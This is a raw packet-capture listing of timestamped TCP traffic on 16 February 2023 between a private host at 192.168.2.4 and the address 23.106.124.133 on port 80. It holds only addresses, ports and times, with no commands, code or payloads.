Feb 16, 2023 10:01:20.735016108 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.735075951 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.735285997 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.872442961 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.872524977 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.872534990 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.872598886 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.872617960 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.872661114 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.872663975 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.872706890 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.872709990 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.872749090 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.872755051 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.872798920 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.872801065 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.872840881 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.872848034 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.872895956 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.872900963 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.872945070 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.872947931 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.872989893 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.873003960 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.873024940 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.873035908 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.873071909 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.873079062 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.873111010 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.873122931 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.873166084 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.873178005 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.873200893 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.873228073 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.873269081 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.873269081 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.873301983 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.873311996 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.873343945 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.873357058 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.873402119 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.910088062 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.910222054 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.910239935 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.910306931 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.910348892 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.910404921 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.910449982 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.910511971 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.910543919 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.910655975 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.910672903 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.910733938 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.910809040 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.910868883 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.048049927 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.048098087 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.048120022 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.048136950 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.048163891 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.048289061 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.048295021 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.048295021 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.048311949 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.048393011 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.048489094 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.048541069 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.048654079 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.048731089 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.085741997 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.085836887 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.085866928 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.085899115 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.085927963 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.085930109 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.085958004 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.085974932 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.085989952 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.086020947 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.086033106 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.086050987 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.086071014 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.086160898 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.086227894 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.086232901 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.086261034 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.086287975 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.086318016 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.086335897 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.086361885 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.086405039 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.086426020 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.086457968 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.086513996 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.086519957 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.086544037 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.086574078 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.086592913 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.086621046 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.086647987 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.086666107 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.086724997 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.086734056 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.086767912 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.086843967 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.223510981 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.223566055 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.223601103 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.223629951 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.223661900 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.223692894 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.223692894 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.223723888 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.223752975 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.223759890 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.223789930 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.223800898 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.223823071 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.223855972 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.223889112 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.223895073 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.223921061 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.223928928 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.223953962 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.223984957 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.223994017 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.224020004 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224051952 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224073887 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.224082947 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224114895 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224123955 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.224148035 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224179029 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224189997 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.224210024 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224241018 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224250078 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.224272966 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224304914 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224315882 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.224337101 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224368095 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224379063 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.224402905 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224433899 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224450111 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.224466085 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224498034 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224508047 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.224530935 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224565029 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224572897 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.224600077 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224632978 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224641085 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.224666119 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224699020 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224706888 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.224731922 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224762917 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224771023 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.224795103 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224828005 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224838018 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.224860907 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224895000 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224901915 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.224929094 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224961996 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.224970102 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.224997997 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.225029945 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.225038052 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.261308908 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.261343002 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.261368990 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.261396885 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.261418104 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.261431932 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.261445999 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.261471987 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.261497974 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.261523008 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.261547089 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.261548042 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.261573076 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.261599064 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.261600971 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.261621952 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.261625051 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.261651039 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.261677027 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.261692047 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.261702061 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.261727095 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.261729002 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.261751890 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.261776924 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.261785984 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.261801958 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.261826038 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.261826992 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.261852026 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.261877060 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.261893034 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.261902094 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.261928082 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.261929035 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.261954069 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.262008905 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.309823036 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.400823116 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.400939941 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.401009083 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.401014090 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.401082039 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.401149988 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.401217937 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.401283026 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.401341915 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.401341915 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.401350975 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.401417017 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.401453972 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.401485920 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.401552916 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.401582956 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.401619911 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.401688099 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.401698112 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.401755095 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.401818037 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.401839018 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.401882887 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.401946068 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.401949883 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.402009010 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.402074099 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.402074099 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.402139902 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.402188063 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.402255058 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.402260065 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.402321100 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.402323008 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.402389050 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.402457952 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.402494907 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.402525902 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.402590036 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.402652979 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.402656078 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.402719975 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.402760029 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.402828932 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.402895927 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.402960062 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.402968884 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.403027058 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.403028965 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.403095961 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.403160095 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.403176069 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.403228045 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.403290987 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.403295040 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.403364897 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.403436899 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.403501987 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.403568983 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.403629065 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.403629065 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.403635025 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.403702021 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.403702021 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.403767109 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.403831005 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.403892994 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.403893948 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.403955936 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.403960943 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.404025078 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.404084921 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.404148102 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.437010050 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.437150955 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.437177896 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.437288046 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.437366009 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.437431097 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.437442064 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.437494993 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.437515020 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.437588930 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.437659979 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.437730074 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.437732935 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.437787056 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.437808990 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.437882900 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.437963963 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.438023090 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.438039064 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.438093901 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.438111067 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.438184023 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.438256979 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.438314915 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.438325882 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.438380003 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.438401937 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.438489914 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.438568115 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.438627958 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.438642979 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.438725948 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.438776016 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.438858986 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.438930035 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.438990116 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.439001083 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.439055920 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.439075947 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.439157009 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.440411091 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.484483957 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.528559923 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.578918934 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.579005957 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.579075098 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.579121113 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.579164028 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.579169989 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.579209089 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.579257965 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.579267979 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.579267979 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.579303980 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.579349995 CET	80	49698	23.106.124.133	192.168.2.4
